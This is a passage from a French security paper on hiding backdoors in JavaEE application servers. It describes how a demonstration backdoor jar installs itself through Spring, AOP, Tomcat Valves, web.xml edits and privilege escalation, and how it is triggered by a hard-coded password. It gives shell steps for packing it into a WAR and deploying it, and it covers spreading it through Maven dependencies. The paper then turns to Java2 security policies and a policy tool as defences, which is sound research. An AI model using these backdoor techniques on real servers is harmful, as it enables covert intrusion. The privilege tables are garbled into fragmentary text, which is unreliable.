Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
